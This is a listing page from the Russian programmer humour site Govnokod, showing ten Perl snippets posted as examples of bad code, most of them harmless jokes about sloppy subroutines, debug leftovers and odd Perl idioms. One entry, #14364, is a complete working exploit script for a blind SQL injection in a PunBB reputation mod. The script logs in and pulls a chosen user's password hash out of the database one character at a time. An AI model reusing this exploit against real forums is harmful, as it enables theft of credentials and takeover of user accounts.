1. Perl / Говнокод #16557

    −53

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    sub is_consumer_registered {
        my ($type) = @_;
        my $out = qx(some-proprietary-tool --type $type);
        my $result = 0;
    
        my ($status) = $out =~ /$type\s+Status: ([^,]+),/;
        say '## DEBUG: status: ' . ($status // 'undef');
        if ($status && $status eq 'Component registered') {
            say '## DEBUG: result = 1';
            $result = 1;
        }
    
        return 0;
    }

    ... об опечатках. Даже оставил свой дебаг специально :)

    Elvenfighter, 18 Августа 2014

    Комментарии (1)
  2. Perl / Говнокод #16398

    −48

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    sub _handle_error {
        my ($self, $response) = @_;
    
        # TODO
    }

    Стиль программирования "ибо нефиг"

    Elvenfighter, 21 Июля 2014

    Комментарии (0)
  3. Perl / Говнокод #16294

    −43

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    $minfts = $maxfts = undef;
    $c=$l=$x=$z=0;
    while (($id, @a) = $sth->fetchrow_array) {
        $l++;
        next unless defined($t{$a[1]});
        $c++;
        $s{$id} = [$r, $id, @a];
        $x++ if $s{$id}{rc} && !$s{$id}{rm};
        $z++ if $s{$id}{rm};
        $s{$id}{t} = $t{$s{$id}{tid}};
        $s{$id}{bonuses} = 0;
        push @{$sid{$s{$id}{sid}}}, $id;
        ### PATCH3 ###
        $sid2pid{$s{$id}{sid}} = $s{$id}{id2};
        ### END PATH3 ###
        $minfts = $s{$id}{sd} if !defined($minfts) || $s{$id}{sd}<$minfts;
        $maxfts = $s{$id}{ed} if !defined($maxfts) || ($maxfts && $s{$id}{ed}>$maxfts) || !$s{$id}{ed};
    }
    $sth->finish;
    $l-=$c;

    Минимализм в название переменных

    ptaag, 09 Июля 2014

    Комментарии (14)
  4. Perl / Говнокод #16210

    −53

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    sub asd {
    	
    	print "WUT\n";
    	
    	return { 1 => 2 };
    }
    
    while( my ( $k, $v ) = each( %{ asd() } ) ) {
    	
    }

    http://ideone.com/EvoMvV

    kainwinterheart, 23 Июня 2014

    Комментарии (16)
  5. Perl / Говнокод #15973

    −49

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    my $query = "select * from client where <...>";
    ...
    $params{'first_name'} = $v_client[6];
    if (defined $v_client[11]) {
         $params{'address1'} = $v_client[11];
    }
    if (defined ($v_client[10])) {
      $params{'zip_code'} = $v_client[10];
    }

    No comments.

    bormand, 13 Мая 2014

    Комментарии (5)
  6. Perl / Говнокод #14557

    −51

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    if( my $row = &dbselectrow( $sql ) )
            {
                    if( $row -> { 'ofid' } == 9782 ) # moscow
                    {
                            if( $row -> { 'jt' } =~ /Начальник /i )
                            {
                                    &subscribe_to_management( $row -> { 'email' } );
                            }
                    }
            }

    Автоматическая подписка сотрудника руководящей должности на список рассылки для руководителей.

    kainwinterheart, 13 Февраля 2014

    Комментарии (1)
  7. Perl / Говнокод #14428

    +98

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    use Carp qw(carp cluck croak confess);
    
    carp "warning";
    cluck "warning with backtrace";
    croak "fatal error";
    confess "fatal error withbacktrace";

    Говорящие имена функций такие говорящие придирчивые, кудахтающие, каркающие, исповедывающиеся...

    bormand, 28 Января 2014

    Комментарии (20)
  8. Perl / Говнокод #14421

    −59

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    sub trim
    {
        my ($string) = @_;
        for ($string)
        {
            s/^\s+//;
            s/\s+$//;
        }
        return $string;
    }

    for ($string) такой for ($string)...

    http://ideone.com/JWu2Kt

    bormand, 27 Января 2014

    Комментарии (25)
  9. Perl / Говнокод #14420

    −59

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    if ("0 but true" == 0) {
        print "Zero! ";
    }
    if ("0 but true") {
        print "But true...";
    }

    The current default implementation always returns true without actually doing anything. Actually, it returns "0 but true" which is true but zero. That way you can tell if the return value is genuine or just the default.

    http://ideone.com/8FzrUI

    Zero! But true...

    bormand, 27 Января 2014

    Комментарии (42)
  10. Perl / Говнокод #14364

    −72

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    #!/usr/bin/perl
    #[0-Day] PunBB Reputation.php Mod <= v2.0.4 Remote Blind SQL Injection Exploit
    #Coded By Dante90, WaRWolFz Crew
    #Bug Discovered By: Dante90, WaRWolFz Crew
    
    use strict;
    use LWP::UserAgent;
    use HTTP::Cookies;
    
    use HTTP::Request::Common;
    use Time::HiRes;
    use IO::Socket;
    
    my ($UserName,$PassWord,$ID) = @ARGV;
    if(@ARGV < 3){
        &usage();
        exit();
    }
    my $Message = "";
    my ($Hash,$Time,$Time_Start,$Time_End,$Response);
    my($Start,$End);
    my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,10  2);
    my $Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link
    my $Method = HTTP::Request->new(POST => $Host);
    my $Cookies = new HTTP::Cookies;
    my $HTTP = new LWP::UserAgent(
                agent => 'Mozilla/5.0',
                max_redirect => 0,
                cookie_jar => $Cookies,
            ) or die $!;
    my $Referrer = "form_sent=1&pid=10174&poster=Dante90, WaRWolFz Crew&method=1&req_message=http://www.warwolfz.com/&submit=Invia";
    my $DefaultTime = request($Referrer);
    
    sub Login(){
        my $Login = $HTTP->post($Host.'login.php?action=in',
                    [
                        form_sent        => '1',
                        redirect_url    => 'forums.php',
                        req_username    => $UserName,
                        req_password    => $PassWord,
                        login => 'Login',
                    ]) || die $!;
    
        if($Login->content =~ /Logged in successfully./i){
            return 1;
        }else{
            return 0;
        }
    }
    if (Login() == 1){
        $Message = " * Logged in as: ".$UserName;
    }elsif (Login() == 0){
        $Message = " * Login Failed.";
        refresh($Message, $Host, $DefaultTime, "0", $Hash, $Time, "1");
        print " * Exploit Failed                                     *\n";
        print " ------------------------------------------------------ \n";
        exit;
    }
    
    sub Blind_SQL_Jnjection{
        my ($dec,$hex) = @_;
        return "Dante90, WaRWolFz Crew\" OR ASCII(SUBSTRING((SELECT `password` FROM `users` WHERE `id`=${ID}),${dec},1))=${hex}/*";
    }
    
    for(my $I=1; $I<=40; $I++){ #N Hash characters
        for(my $J=0; $J<=15; $J++){ #0 -> F
            my $Post = $HTTP->post($Host.'reputation.php?',[
                        form_sent    => '1',
                        pid            => '2',
                        poster        => Blind_SQL_Jnjection($I,$chars[$J]),
                        method        => '1',
                        req_message    => 'http://www.warwolfz.com/',
                        submit        => 'Submit',
                    ]) || die $!;
            $Time = request($Referrer);
            refresh($Message, $Host, $DefaultTime, $J, $Hash, $Time, $I);
            if($Post->content =~ /(The reputation has been successfully changed)/i){
                syswrite(STDOUT,chr($chars[$J]));
                $Hash .= chr($chars[$J]);
                $Time = request($Referrer);
                refresh($Message, $Host, $DefaultTime, $J, $Hash, $Time, $I);
                last;
            }
        }
        if($I == 1 && length $Hash < 1 && !$Hash){
            print " * Exploit Failed                                     *\n";
            print " ------------------------------------------------------ \n";
            exit;
        }
        if($I == 40){
            print " * Exploit Successed                                  *\n";
            print " ------------------------------------------------------\n ";
            system("pause");
        }
    }

    http://mybbgavno.mybb.ru/register.php

    Stertor, 15 Января 2014

    Комментарии (1)